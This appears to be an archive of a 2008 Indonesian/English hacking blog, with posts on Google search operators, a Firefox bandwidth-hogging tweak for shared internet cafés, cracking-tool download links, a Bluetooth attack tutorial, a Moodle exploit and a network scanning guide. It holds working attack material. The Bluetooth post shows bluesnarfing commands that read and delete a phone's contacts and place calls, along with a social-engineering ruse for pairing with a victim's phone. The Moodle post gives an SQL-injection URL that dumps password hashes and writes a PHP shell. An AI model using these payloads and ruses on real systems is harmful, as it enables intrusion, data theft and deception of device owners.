Term in "..." and (...) can be randomly changed..

Useful operators:

site - searching on pages that contain .cz
Example: site:cz specification "802.11" (for example -cisco -something is filtering surplus of undesirable terms)

cache - searching in cache
intitle - searches in title
filetype - searching of a concrete file type
inurl - searching of a term included in url
allintext - searches text on a concrete page

The virtual space is overfulled with interesting things.. and a description even of the smallest one would cover a lot of pages.

Utils at the end: Google Fight compares the number of using (for example one of two similar) of what ever word in the net.

Database web cameras connectable (configurable) from the internet you will find on pages Opentopia.

Other reading about Hacking Google :)

Useful links and few of torrents at the close.

Hacking bandwith From Mozilla Firefox

2008-03-22T07:13:00.005+07:00

Apakah anda pernah bermasalah dengan tragedi tarik-menarik Bandwith antar computer jaringan internet?? weww.. pasti pernah..

Misal Warnet… itu karena tiap bilik/room sudah di batasi bitrate n bandwithnya…
Mungkin Ini bisa jadi Solusi:

1). Buka Browser Mozilla Firefox
2). Pada Address Bar Ketik : about:CONFIG
3). Cari string di bawah ini : ( pastikan semua srting dibawah“TRUE”)

contoh menggantingnya :
NETWORK.HTTP.PIPELINING FALSE ==> klik kanan dan pilih

“Toggle” NETWORK.HTTP.PIPELINING TRUE

NETWORK.HTTP.PIPELINING.MAXREQUESTS 64

NETWORK.HTTP.PROXY.PIPELINING TRUE

NETWORK.PROXY.SHARE_PROXY_SETTINGS FALSE <=== ini harus False

4). Buat srting baru caranya : Klik Kiri 1X Dimana Saja, Klik Kanan [/b]NEW>>INTEGER[/b]

5). Ketik : NGLAYOUT.INITIALPAINT.DELAY Beri Nilai 0

6). Kemudian REFRESH atau Tekan F5

7). Pada Address Bar Ketik : about:BLANK

Klik Menu:
Untuk OS Windows XP TOOLS>>OPTIONS>>WEB FEATURES

Untuk OS Linux EDIT >> PREFERENCES Untuk Setting yang berbeda di beberapa OS EDIT >>ADVANCED

9). Pada Option :
ALLOW WEB SITES TO INSTALL SOFTWARE Beri Tanda Check Box Untuk mengaktifkan

10).Kemudian Tekan OK Lalu REFRESH ( F5 )

11).Masuk Ke Link Ini :
Code: https://addons.mozilla.org/extensions/moreinfo.php?applicationfiltered=firefox&id=125
atau :
Code: https://addons.mozilla.org/extensions/moreinfo.php?id=125&applicationfiltered=firefox

12).Download Software SwitchProxy Tool Versi 1.3.4
Code:
https://addons.mozilla.org/extensions/moreinfo.php?applicationfiltered=firefox&id=125 atau Disini
Code:
https://addons.mozilla.org/extensions/moreinfo.php?id=125&applicationfiltered=firefox 13).

Setelah Selesai Jangan Tekan Tombol UPDATE

14).Klik Tanda X (tutup)Yang Ada Di Pojok Kanan Atas Dari POP UP Window Yang Muncul

15).Tutup Semua Browser Mozilla FireFox,

16).Kemudian Buka Lagi Untuk Mengaktifkan Software SwitchProxy Tool Versi 1.3.4 Yang sudah di Install Tadi

17).Kalo Instalasi Sukses, Akan Muncul Toolbar tambahan Di Bawah Toolbar Navigasi & Address Bar.

Sekarang Browser Mozilla Siap Untuk Digunakan……. ::
Message ::
– Software SwitchProxy Tool Versi 1.3.4 Ini selain untuk Mengganti Proxy Secara Otomatis Di Browser Mozilla FireFox, Engine-nya Juga Berpengaruh terhadap Kecepatan Koneksi Internet
– Cara Ini Sangat Efektif Bila Digunakan Di Warnet Yang Padat Pengunjung untuk Menyedot Bandwidth ( Mayoritas kecepatan akses Internet ) Ke Komputer Yang Sedang Online
– Hati-hati Perubahan Yang Signifikan Terjadi Pada koneksi Internet Dengan BROADBAND

Wireless Tools

2008-03-22T07:07:00.003+07:00

Level 1:
aerosol.zip Aerosol (0.65)
abappwd.zip ABAP PW Crack
aircrack.zip Aircrack (2.4)
aircrackng.zip Aircrack-NG (0.6.2)
aircrackpack.zip Aircrack Pack
aire.zip Aire (1.0)
airsnort.zip Airsnort
asleap.zip Cisco Leap (1.0)
aptools.zip AP Tools (0.1.0)
cowpatty.zip Cowpatty
netstumbler.zip Netstumbler AP Detection (0.4.0)
weplab.zip WepLab (0.1.5)
Donwload:
http://rapidshare.com/files/25265188/Feliks_wireless_pack.zip

Level 2:[update]
EasyWifiRadar
HotSpotter-0.4
Kismet 2005-08-R1
Wellenreiter-v1.9
wepwedgie-alpha-0.1
Download:
http://rapidshare.com/files/26345803/Feliks_wireless_pack_2.zip

Tambahan:
+ the WireShark download:
http://wireshark.newworldorder.com.es/win32//wireshark-setup-0.99.5.exe

+The wireshark official site:
http://www.wireshark.org/download.html

AttachMent Best:
http://rapidshare.com/files/36519722/AIO_Wireless_Hack_Toolz.rar

Hacking Bluetooth [n]Security

2008-03-15T18:27:00.005+07:00

Art From: echo|zine, volume 4 issue 15


[ 101 A Bluetooth [in]Security ]
[ y3dips  ]


---//  Pengantar

Bluetooth adalah salah satu teknologi pengganti kabel yang mengkonsumsi
sedikit tenaga listrik, memiliki harga yang relatif murah, berjarak relatif
pendek (10-100m), dan dapat digunakan untuk pertukaran data dan suara.

Riset tentang teknologi "bluetooth" yang telah dilakukan oleh ericsson(tm)
pada tahun 1998 telah memberikan dampak yang cukup besar pada teknologi
"pengganti kabel" atau yang lebih sering aku kenal dengan "wireless technology".
Riset ini Kemudian dilanjutkan oleh sebuah grup yang menamakan dirinya
Special Interest Group dengan "codename" bluetooth dan telah di dukung oleh
banyak perusahaan besar yang berkepentingan dengan teknologi ini. Sehingga
pada tahun 1999 dikeluarkanlah versi pertama (bluetooth ver 1.0) dan versi
yang sekarang digunakan adalah versi 2.0 (merupakan ver 1.2 ditambah EDR).

Teknologi bluetooth sampai saat ini tetap dipakai dan di kembangkan pada
kurang lebih 856 produk[3].

---// Why attacking bluetooth ?

1. Bluetooth dipakai pada peralatan pribadi yang umumnya menyimpan
informasi penting yang bersifat pribadi juga dan menjadikannya
sebagai target yang berharga bagi penyerang

2. Untuk menyerang device bluetooh penyerang tidak perlu untuk melewati
Lapisan firewall, policy, third party security application, IDS/IPS.

3. Bisa ditemukan dibanyak tempat di karenakan layanan ini di pakai
dibanyak "device".

---//   Technical Details

- Menggunakan frekuensi 2,4GHz
- 79 channel, dengan lompatan frekuensi 1600 hops/second
- Menggunakan "single chip radio" sehingga harganya relatif murah
- Memiliki "range" 10-100 Meter
- Menggunakan 2.5 mW
- Memiliki Data Rate 1Mbps

---//  Bluetooth Mode

-------[ 1. Service mode

a. mode menyala ("on" mode )
Untuk mode "on" terdapat mode "discoverable" dan "un-discoverable",
dimana pada saat discoverable "device" akan dapat dan untuk di temukan
oleh "device" lain. Sedangkan un-discoverable mode mengakibatkan
secara umum tidak dapat di temukan oleh "device" lain.

b. mode tidak menyala ( "off" mode )
Layanan bluetooth mati pada mode ini

c. mode otomatis ( "automatic" mode )
Layanan ini akan memudahkan aplikasi untuk menggunakan layanan bluetooth

-------[ 2. Security mode

a. Security mode level 1
Tidak ada mode sekuriti sama sekali

b. Security mode level 2
Sekuriti terdapat pada level "service", tetapi pada level "device"
tidak ada terdapat.

c. Security mode level 3

Sekuriti terdapat pada level "device" dan menerapkan sekuriti pada
setiap level yang lebih rendah.

---//  Bluetooth Security threat

-------[ 1. Bluejacking

Teknik ini dilakukan dengan cara mengirimkan pesan/gambar/nomer
telpon tanpa ijin kepada target, tujuannya adalah mulai dari perbuatan
iseng sampai pada "social engineering" untuk memancing target melakukan
pairing kepada "device" penyerang.

-------[ 2. Bluesnarfing

Teknik ini mengijinkan penyerang untuk terhubung ke "device" milik
target tanpa diketahui pemiliknya dan akan mengakibatkan penyerang
dapat mengakses data data penting yang tersimpan didalam "device" target
seperti daftar nomer telepon (buku telepon), "business card", "images"
bahkan IMEI (International Mobile Equipment Identity ) yang dapat
mengakibatkan nomer tersebut untuk di "clonning".

-------[ 3. BlueBugging

Teknik ini mengakibatkan "device" target dan penyerang terhubung secara
serial dan mengakibatkan penyerang memiliki kendali penuh terhadap
"device" target sehingga penyerang juga dapat mengeksekusi set perintah AT
(ASCII Terminal) diantaranya untuk melakukan panggilan, mengirim dan
membaca SMS, melakukan koneksi jaringan bahkan internet melalui "device"
target sampai kepada "identity theft".

-------[ 4. BlueSmack

Teknik ini melakukan serangan Denial Of Service terhadap device target, salah
satu caranya adalah memanfaatkan perintah l2ping pada protokol L2CAP.

-------[ 5. Backdoor Attack

Teknik ini adalah dengan memanfaatkan "pairing" yang telah tercipta antara
"device" target dan penyerang. Memanfaatkan Kelengahan Target dan Teknik
social engineering.


---//  Basic Penetration

Berikut akan aku lakukan penetrasi mendasar terhadap bluetooth sekuriti,
dengan harapan akan memberikan pemahaman mendalam tentang ini.

-------[ 0. Info

Target     : Mobile phone Sony ericsson t68i
Penyerang  : Toshiba tecra 8100
  Linux Ubuntu 5.10 Operating system
  USB bluetooth dongle with Bluez

Tools    : Bluesnarfer
  Bluez-utils
  RedFang

-------[ 1. Preparation

Sekarang lakukan checking terhadap bluetooth device (USB dongle) menggunakan
hciconfig (packet Bluez)

//--- command ----//

y3dips@hogwartz:~$ hciconfig -a hci0
hci0:   Type: USB
   BD Address: 00:09:DD:10:4E:B1 ACL MTU: 192:8 SCO MTU: 64:8
   UP RUNNING PSCAN ISCAN
   RX bytes:394 acl:0 sco:0 events:18 errors:0
   TX bytes:319 acl:0 sco:0 commands:17 errors:0
   Features: 0xff 0xff 0x0f 0x00 0x00 0x00 0x00 0x00
   Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
   Link policy: RSWITCH HOLD SNIFF PARK
   Link mode: SLAVE ACCEPT
   Name: 'hogwartz-0'
   Class: 0x3e0100
   Service Classes: Networking, Rendering, Capturing
   "device" Class: Computer, Uncategorized
   HCI Ver: 1.1 (0x1) HCI Rev: 0x460 LMP Ver: 1.1 (0x1) LMP Subver: 0x460
   Manufacturer: Cambridge Silicon Radio (10)

//--- command ----//

didapatkan beberapa informasi penting, diantaranya:
1. Type: USB
2. BD Address: 00:09:DD:10:4E:B1
3. Service Classes: Networking, Rendering, Capturing

Baiklah, ternyata "device" berjalan baik dan dikenali oleh system.

-------[ 2. Scanning

Setelah semua persiapan berjalan dengan baik maka selanjutnya adalah menemukan
target, untuk mendeteksi layanan bluetooth yang aktif (mode menyala) dan
juga "discoverable", aku hanya menggunakan hcitool (paket Bluez)

//--- command ----//

y3dips@hogwartz:~$ hcitool scan
Scanning ...
   00:0A:D9:49:B6:8B       T68i
00:0C:55:FF:F3:B6       heaven-0
00:D5:F9:33:B6:A4       dodlesvck
00:60:57:44:56:B3       6310i

//--- command ----//

Yupe, aku menemukan ada 4 buah "device"yang mengaktifkan layanan bluetoothnya.
dan aku putuskan untuk bereksplorasi satu persatu, untuk itu aku putuskan
akan melakukan penetrasi sesuai urutan :)

Selanjutnya adalah melakukan perkenalan lebih jauh dengan "device" tersebut,
dan untuk ini digunakanlah sdptool (paket bluez) untuk melakukan browsing
dan secara spesifik aku tambahkan options "grep" khusus untuk menemukan
service apa saja yang di layani oleh "device" tersebut, "device" akan di kenali
dengan alamat bluetooth.

dalam hal ini untuk "device" pertama adalah 00:0A:D9:49:B6:8B

//--- command ----//

y3dips@hogwartz:~$ sdptool browse 00:0A:D9:49:B6:8B | grep Service\ Name
Service Name: Dial-up Networking
Service Name: Fax
Service Name: Voice gateway
Service Name: Serial Port 1
Service Name: Serial Port 2
Service Name: OBEX Object Push
Service Name: IrMC Synchronization
Service Name: Voice gateway

//--- command ----//

Dan kita dapatkan bahwa device tersebut memberikan service Dial-up Networking,
Fax, Voice Gateway, Serial Port, OBEX, IrMC.

Untuk melakukan cek hubungan dengan device maka kita dapat melakukan ping.

//--- command ----//

y3dips@hogwartz:~$ sudo l2ping 00:0A:D9:49:B6:8B
Ping: 00:0A:D9:49:B6:8B from 00:09:DD:10:4E:B1 (data size 44) ...
0 bytes from 00:0A:D9:49:B6:8B id 0 time 46.69ms
0 bytes from 00:0A:D9:49:B6:8B id 1 time 31.24ms
0 bytes from 00:0A:D9:49:B6:8B id 2 time 37.95ms
0 bytes from 00:0A:D9:49:B6:8B id 3 time 33.01ms
0 bytes from 00:0A:D9:49:B6:8B id 4 time 48.04ms
5 sent, 5 received, 0% loss

//--- command ----//

-------[ 3. Owning

Setelah melakukan Scanning dan mendapatkan alamat target dan informasi
mengenai service yang dilayani oleh device tersebut maka selanjutnya kita
akan melakukan "snarfing" terhadap bluetooth device (Bluesnarfing).

Salah satu erangan yang mungkin adalah membaca buku telepon dari device
dengan menggunakan bluesnarfer.

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10
"device" name: T68i
+  1 - My Sephia /M : 08883535266
+  3 - Mbah Marijan/W : 021454545
+  5 - Osama Laden/W : 662224258
+  7 - Warung Pecel Bu Roso/W : 0214545889
+  9 - Superman/W : 911
bluesnarfer: release rfcomm ok

//--- command ----//

Selanjutnya kita juga dapat menghapus buku telepon

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -w 1-10
"device" name: T68i
delete of entry 1 successfull
delete of entry 2 successfull
delete of entry 3 successfull
delete of entry 4 successfull
delete of entry 5 successfull
delete of entry 6 successfull
delete of entry 7 successfull
delete of entry 8 successfull
delete of entry 9 successfull
delete of entry 10 successfull
bluesnarfer: release rfcomm ok

memeriksa apakah sudah terhapus

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10
"device" name: T68i
bluesnarfer: release rfcomm ok

//--- command ----//

Selain itu aku akan mencoba melakukan Bluebugging dengan cara mengeksekusi
perintah AT, dalam hal ini ATD (melakukan panggilan)

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -c 'ATD555;'
"device" name: T68i
custum cmd selected, raw output
OK
bluesnarfer: release rfcomm ok
y3dips@hogwartz:~/Desktop/bluetooth/pentest/snarf$

//--- command ----//

Tapi ingat, dengan melakukan panggilan ini maka akan tampak pada layar target
bahwa sednag melakukan panggilan terhadap nomer tertentu. (Sehingga sebaiknya
dalam melakukan panggilan pada saat target tidak berinteraksi langsung dengan
device)

---//  31337 penetration

-------[ 1. Backdooring

Teknik Backdooring ini bisa dilakukan dengan cara berinteraksi secara langsung
ataupun tidak, teknik ini bertujuan membuat "device" target melakukan "pairing"
dengan device penyerang.

Social enggineering berperanan penting pada teknik ini.

Example

a. Berinteraksi langsung

Seperti teknik social engineering yang pada umumnya dilakukan adalah
dengan cara berinteraksi secara langsung dengan device target.

real life example:

Ingat, perubahan kartu SIM, menghidupkan dan mematikan Device tidak
menghapus pairing yang telah terbuat, celah ini membuat aku berpura-pura
kehabisan batere handphone dan meminjam handphone target untuk mengirim
sms, agar target semakin yakin maka aku gunakan nomer yang aku miliki
(agar lebih meyakinkan lagi maka sebiknya handphone kamu emang tidak
bisa menyala), setelah itu cobalah lakukan pairing kedevice kamu, sebelum
itu ada 2 hal yang harus aku lakukan

1. menentukan PIN untuk diisikan dari handphone target

//--- command ----//
root@hogwartz:~# echo "4321" > /etc/bluetooth/pin
//--- command ----//


2. Dan kamu perlu membaca syslog untuk mengetahui alamat target
yang terhubung.

//--- command ----//
root@hogwartz:~# tail -f /var/log/syslog | grep hcid
Aug 21 20:25:30 localhost hcid[8880]: pin_code_request \
(sba=00:09:DD:10:4E:B1, dba=00:0A:D9:49:B6:8B)
//--- command ----//

ya, dan sekarang aku tinggal matikan handphone dan tukar kartu SIM kembali,
selanjutnya tinggal bereksplorasi di "device" target.

b. Berinteraksi Tidak langsung

Cara kedua ini dikombinasikan dengan teknik BlueJacking, pada cara ini
aku hanya perlu mengirimkan gambar/text/lagu/ atau apapun ke device
target sehingga target akan melakukan cek terhadap info device pengirim
yang tampil pada "device" target dan jika target berniat menerima
gambar/text/lagu/ tersebut maka dia harus melakukan pairing dan perlu
memasukan sebaris PIN.

(nama device; yang bisa di definisikan pada deviceku), Karena karakter
di beberapa "device", jumlah karakter tidak dibatasi maka memungkinkan
kita untuk menuliskan sebaris kalimat yang "membujuk" (inti social
engineering) seperti "FOTO NADINE NIH?" atau "UNTUK MENERIMA KETIKKAN
4321"

Selanjutnya tinggal tunggu hasil pairing kita :).


-------[ 2. Detecting the undetected

Baiklah, sekarang bagaimana kalau "device" tersebut tidak di set discoverable
sehingga aku akan kesulitan mendapatkan alamat device, dan aku pun tidak mungkin
meminjam handphone ("device") target karena satu dan lain hal (pelit mungkin:P).

Beruntunglah aku dikarenakan ada satu tools yang dipublikasikan dengan nama
"redfang" dan mampu mendeteksi "device" bluetooth yang menyalakan layanannya
tetapi tidak di set discoverable.

//--- command ----//

y3dips@hogwartz:~/bt/fang$ sudo ./redfang -r 000AD949B689-000AD949B68D
redfang - the bluetooth hunter ver 2.5
(c)2003 @stake Inc
author:   Ollie Whitehouse 
enhanced: threads by Simon Halsall 
enhanced: "device" info discovery by Stephen Kapp 
Scanning 5 address(es)
Address range 00:0a:d9:49:b6:89 -> 00:0a:d9:49:b6:8d
Found: T68i  [00:0a:d9:49:b6:8b]
Getting "device" Information.. Failed.

//--- command ----//

Dan akupun mendapatkan alamat target. :), salah satu kelemahannya adalah
kecepatannya dalam menemukan adalah sangat lambat, aku sering menggunakan
options "-t" untuk meningkatkan waktu timeout dan mempercepat scanning.
atau bisa melakukan "recursive execute". (automated ? -- in proggress)


---//  Mitos dalam "bluetooth [in]security"

[1] Matikan saja layanan Bluetoothnya niscaya akan aman

Mematikan layanan bluetooth ("off" mode) pada "device" tidaklah 100%
akan membuat "device" aman. Serangan yang  mungkin dilakukan adalah
Social engginering dan Malicious program (virus, worm & trojan)
yang dapat secara otomatis menyalakan layanan bluetooh ("on" mode)
atau bahkan melakukan pairing/backdoor attack ke bluetooth "device".

Jadi perkuat device anda dengan firewall dan juga antivirus

[2] Di Buat "[un]discoverable" akan aman

Lihat sub-chapter "31337 penetration" pada bagian kedua "Detecting
the undetected"

[3] Tidak ada informasi penting di bluetooth "device"

Salah, ambil contoh "mobile "device" (phone, smart phone, laptop)"
Hampir seluruh data penting tersimpan, misalkan mobile phone, disana
terdapat seluruh nomer nomer yang penting bagi anda meskipun anda
tidak termasuk orang penting :P.

[4] Jaraknya pendek

Jarak bluetooth device umumnya pendek 10-100 Meter, tetapi dengan
adanya teknik untuk memperkuat signal[6] maka jangkauan pun bisa
di perjauh bahkan sampai 1 km.

[5] Penyerangnya pasti akan tampak "aneh" dan "mencurigakan" [karena membawa
-bawa laptop dan bluetooth device yang di modifikasi (perkuat sinyal)?]

Tidak juga, bahkan sekarang via mobile phone/PDA (java supported)
bisa melakukan "assessment"[2].

---//  Bertahan ?

[1] Update informasi anda tentang "device" anda (khususnya soal security)
[2] Update Frimware anda, jikalau termasuk "device" yang di curigai
[3] Periksa daftar "trusted Pair", hapus yang sudah tidak dibutuhkan, hindari
backdoor attack
[4] Gunakan Fitur keamanan tambahan (eg: Antivirus, Firewall)
[5] Untuk meminimalisir serangan matikan layanan bluetooth anda jika tidak
digunakan
[6] Jikapun dibutuhkan, buatlah PIN yang relatif kuat.
[7] Pastikan untuk tidak sembarangan melakukan koneksi/pairing (eg: terima
file dari "unknown device")


---//   Clue

Sebagian handphone memiliki celah terserang teknik bluesnarfing ataupun
bluebug saat visible (discoverable) dan sebagian lainnya non-visible
   (non-discoverable), sementara beberapa jenis lainnya tidak vulnerable
   kecuali dengan menggunakan backdoor attack dan teknik  bluejacking
(Social engineering)

---//   Kamus

Pairing adalah suatu bagian (state) yang dilakukan apabila dua buah
"device" setuju untuk berkomunikasi satu sama lainnya, setelah state
ini terjadi maka apabila ingin terjadi komunikasi ulang maka akan
membypass proses pencarian (discovery) dan otentikasi (authentication)
yang biasa terjadi pada saat interaksi.

---//  Referensi (  echo.or.id     -  Ammar   )

[1] y3dips, "Owned a mobile "device" via bluetooth", dipresentasikan dan
       didemokan pada "Cryptography and Wireless security seminar", 2006
[2] Trifinite official site`s. http://trifinite.org
[3] SIG. http://bluetooth.org
[4] http://thebunker.net
[5] wikipedia. http://en.wikipedia.org
[6] bluesniper. http://www.tomsnetworking.com/2005/03/08/how_to_bluesniper_pt1/

---//  Greetz

BUG on moodle PHP

2008-03-15T11:50:00.001+07:00

-- Security Internet

Manual Testing Notes
to view user/admin password hashes:

http://[target]/[path]/iplookup/ipatlas/plot.php?address=127. 0.0.1&user='or%20isnull(1/0)/* to inject a shell:

http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0 .0.1&user='UNION %20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, '%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../ ../w ww/moodle/shell.php'%20FROM%20mdl_user/*

Solution Description
Upgrade to version 1.6dev or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Vulnerability classification:
- Remote vulnerability
- Input manipulation attack
- Impact on integrity
- Exploit available
- Verified

Second checking :
http://www.milw0rm.com/exploits/1312

OK,
Thank you

Scanning Networks / Cek jaringan

2008-03-15T11:49:00.001+07:00

Scanning helps one to know what services are running on a machine. This will show the open ports on which services are listening for connections. First we will determine whether the target machine is alive or not. This can be done by sending a icmp echo request packet to the server. The server would respond with a icmp echo reply showing that it’s alive. The process to do this on a range of hosts or ipaddresses is known as ping sweep. Of the many methods used, we will look on ICMP ping and echo port ping.

ICMP ping

Your machine will send an icmp echo request (type 8) to the target machine and it would respond with an icmp echo reply(type 0) if it is alive. You can use the Unix ping command to do this:

[root@ns2 root]# ping -c 3 66.218.71.86
PING 66.218.71.86 (66.218.71.86) from 203.41.193.140 : 56(84) bytes of data.
64 bytes from 66.218.71.86: icmp_seq=1 ttl=51 time=207 ms
From 203.41.193.137: icmp_seq=2 Redirect Host (New nexthop: 202.5.165.81)
64 bytes from 66.218.71.86: icmp_seq=2 ttl=51 time=204 ms
64 bytes from 66.218.71.86: icmp_seq=3 ttl=51 time=203 ms

--- 66.218.71.86 ping statistics ---
3 packets transmitted, 3 received, 0% loss, time 2019ms
rtt min/avg/max/mdev = 203.938/205.171/207.287/1.503 ms
[root@ns2 root]#

At the end it will give you a summary, showing statistics of number of packets received and sent and the %age of packet loss.

Echo port ping

This makes use the echo service running on the target machine which runs on port 7. Whatever you send it, will be echoed back to you. So if you see that it echoed back what you sent, then you can be sure that the target machine is alive.

Two interesting tools on Linux is Fping and Nmap

Fping

Fping sends multiple icmp request packets simultaneously and processes the reply as they occur. This makes ping sweeps faster. Fping can be feeded with an ipaddress or can be given a list of ipaddress on a file.

[root@Krishna]# fping -a -g 203.122.1.0 203.122.1.80
203.122.1.9
203.122.1.26
203.122.1.37
203.122.1.47
203.122.1.54
203.122.1.42
203.122.1.68
203.122.1.80
[root@Krishna]#

Type fping -h for a full listing of available options.

Nmap

Nmap is a powerful tool that can do a lot more than ping sweep.
To use nmap for ping sweeping use the –sP argument.
[root@ns2 root]# nmap -sP 203.122.58.0/24

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Host (203.122.58.1) appears to be up.
Host (203.122.58.2) appears to be up.
Host (203.122.58.5) appears to be up.
Host (203.122.58.6) appears to be up.
Host (203.122.58.9) appears to be up.
Host (203.122.58.10) appears to be up.
Host (203.122.58.13) appears to be up.
Host (203.122.58.14) appears to be up.
caught SIGINT signal, cleaning up
[root@ns2 root]#

If ICMP is blocked on the firewall of the target machine, additional techniques can be used to determine whether systems are alive.
Nmap provides a advanced option called TCP ping scan. It is initiated with the argument –PT with a port number such as port 80, since packets to this port is allowed by many firewall and border routers to the systems on their demilitarized zone (DMZ).

[root@ns2 root]# nmap -sP -PT80 203.122.58.0/24

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Host (203.122.58.1) appears to be up.
Host (203.122.58.2) appears to be up.
Host (203.122.58.5) appears to be up.
Host (203.122.58.6) appears to be up.
Host (203.122.58.9) appears to be up.
Host (203.122.58.10) appears to be up.
Host (203.122.58.13) appears to be up.
Host (203.122.58.14) appears to be up.
caught SIGINT signal, cleaning up
[root@ns2 root]#

Icmpenum

This tool from Simple Nomad (http://www.nmrc.org/project/misc/icmpenum-1.1.1.tgz) .
Even if the border router or firewall blocks ICMP echo packets , the systems status of being alive can be determined by looking for a different ICMP type, like icmp time stamp request and icmp info requests.
[krishna]# icmpenum –i2 –c 192.168.1.0

In the above example, we enumerated the entire 192.168.1.0 class C network using an icmp time stamp request . Icmpenum can send spoofed packets to avoid detection. Use the s argument to send spoofed packets and passively listen for responses with the p switch.

Icmpquery

Icmpquery can be found at http://packetstormsecurity.com/UNIX/scanners/icmpquery.c
Ping sweeps makes use of icmp echo packets , but there are a lot more types of icmp packets which can be used to gather valuable information about the system. For example you can request the time ona system by sending an ICMP type 13 message (TIMESTAMP) and you can request the netmask of a particular device with the ICMP type 17 message (ADDRESS MASK REQUEST).
To query a routers time, you can run the command:
[root@ns2 files]# ./icmpquery -t 213.206.75.252
213.206.75.252 : Sun Jun 8 16:46:30 2003
[root@ns2 files]#

and to query a routers netmask, use

[Krishna]# icmpquery –m 213.206.75.252

Windows tools:

To do ping sweeps in windows, try the freeware pinger from Rhino9 (http://nmrc.org/snt). Some other tools for windows are Ping Sweep from Solarwinds (http://www.solarwinds.net)
WS_Ping ProPack (http://www.ipswitch.com) NetScan Tools (http://www.nwpsw.com)

Port Scanning:

Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are running or in a listening state. Identifying listening ports is essential to determine the type of operating system and application in use on the system.

Types of port scanning:

1.) TCP connect scan: This type of scan connects to the target port and completes a full three way handshake (SYN, SYN/ACK and ACK).
2.) TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake, rather a SYN packet is sent and upon receiving a SYN/ACK packet it is determined that the target machines port is in a listening state and if an RST/ACK packet is received , it indicates that the port is not listening.
3.) TCP FIN scan: This technique sends a FIN packet to the target port and based on RFC 793 the target system should send back an RST for all closed ports.
4.) TCP Xmas Tree scan: This technique sends a FIN,URG and PUSH packet to the target port and based on RFC 793 the target system should send back an RST for all closed ports.
5.) TCP Null scan: This technique turns off all flags and based on RFC 793 , the target system should send back an RST for all closed ports.
6.) TCP ACK scan: This technique is used to map out firewall rulesets. It can help determine if the firewall is a simple packet filter allowing only established connections or a stateful firewall performing advance packet filtering.
7.) TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due to anomaly in the way TCP windows size is reported.
8.) TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call (RPC) ports and their associated program and version number.
9.) UDP scan: This technique sends a UDP packet to the target port. If the target ports responds with an “ICMP port unreachable” message, the port is closed, if not then the port is open. This is a slow process since UDP is a connectionless protocol, the accuracy of this technique is dependent on many factors related to utilization of network and system resources.

We will now discuss some of the more popular and time proven port scanners.
Strobe

Download it from ftp://ftp.rpmfind.net/linux/redhat/7.1/en/powertools/i386/RedHat/RPMS/strobe-1.04-8.i386.rpm

It is one of the fastest and most reliable TCP scanners, it can also grab the associated banner of a particular port. Strobe is a TCP scanner and does not provide UDP scanning capability, as such it can be easily detected by the target machine.

[root@ns2 files]# strobe 213.206.75.252
strobe 1.04 (c) 1995-1997 Julian Assange (proff@suburbia.net).
213.206.75.252 21 ftp File Transfer [Control] [96,JBP]
-> 220-FTP server ready.
-> 220 Only anonymous FTP is allowed here
213.206.75.252 80 http www www-http World Wide Web HTTP
www World Wide Web HTTP [TXL]
[root@ns2 files]#

For a UDP port scanner try udp_scan by SATAN(Security Administrator Tool for Analyzing Networks).

Netcat

This is known to be called the Swiss army knife in security toolkit. It provides both TCP and UDP scanning capabilities. The -v and -vv options provide verbose output, the -z option is used for port scanning, and the -w2 option provides a timeout value for each connection. By default nc uses TCP ports, the -u option is so used to specify UDP scanning.

[root@ns2 files]# nc -v -z -w2 203.122.61.154 1-140
ns2.spectra.com [203.122.61.154] 111 (sunrpc) open
ns2.spectra.com [203.122.61.154] 80 (http) open
ns2.spectra.com [203.122.61.154] 53 (domain) open
ns2.spectra.com [203.122.61.154] 23 (telnet) : No route to host
[root@ns2 files]#

[root@ns2 files]# nc -u -v -z -w2 203.122.61.154 1-140
ns2.spectranet.com [203.122.61.154] 132 (?) open
ns2.spectranet.com [203.122.61.154] 131 (?) open
ns2.spectranet.com [203.122.61.154] 130 (?) open
ns2.spectranet.com [203.122.61.154] 129 (?) open
ns2.spectranet.com [203.122.61.154] 128 (?) open
ns2.spectranet.com [203.122.61.154] 127 (?) open
ns2.spectranet.com [203.122.61.154] 126 (?) open
punt!
[root@ns2 files]#

Network Mapper (nmap)

Nmap from http://www.insecure.org/nmap is a all in one tool. To see a possible list of options use

[root@ns2 files]# nmap –h

[root@ns2 files]# nmap -sP 192.168.0.172

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Host ns2.krishna.com (192.168.0.172) appears to be up.
Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds
[root@ns2 files]#

Nmap allows you to enter ranges in CIDR(Classless Inter-Domain Routing) block notation. The –oN will save the output to a human-readable format and use –oM to save it in a tab-delimited file.

[root@ns2 files]# nmap –sF 203.122.58.0/24 –oN outfile

Windows based port scanners

NetScanTools Pro 2000 http://www.nwpsw.com
SuperScan http://www.foundstone.com/rdlabs/termsofuse.php?filename=superscan.exe
WinScan: http://www.prosolve.com
IpEye http://www.ntsecurity.com
NetCat http://www.atstake.com/research/tools/nc11nt.zip
WUPS http://www.ntsecurity.nu
Fscan http://www.foundstone.com/rdlabs/termsofuse.php?filename=fscan.exe

Thanks Bro ...
Krishna
http://www.KrisinDigitalAge.com

Cisco IOS 12.x/11.x HTTP Remote Integer Overflow Exploit

2008-03-15T11:47:00.001+07:00

http://www.secumania.org/exploits/remote/cisco-ios-12_x_11_x-http-remote-integer-overflow-exploit%0D%0A-2003081030210/लेबल

How to make a HotSpot gateway

2008-03-15T11:46:00.001+07:00

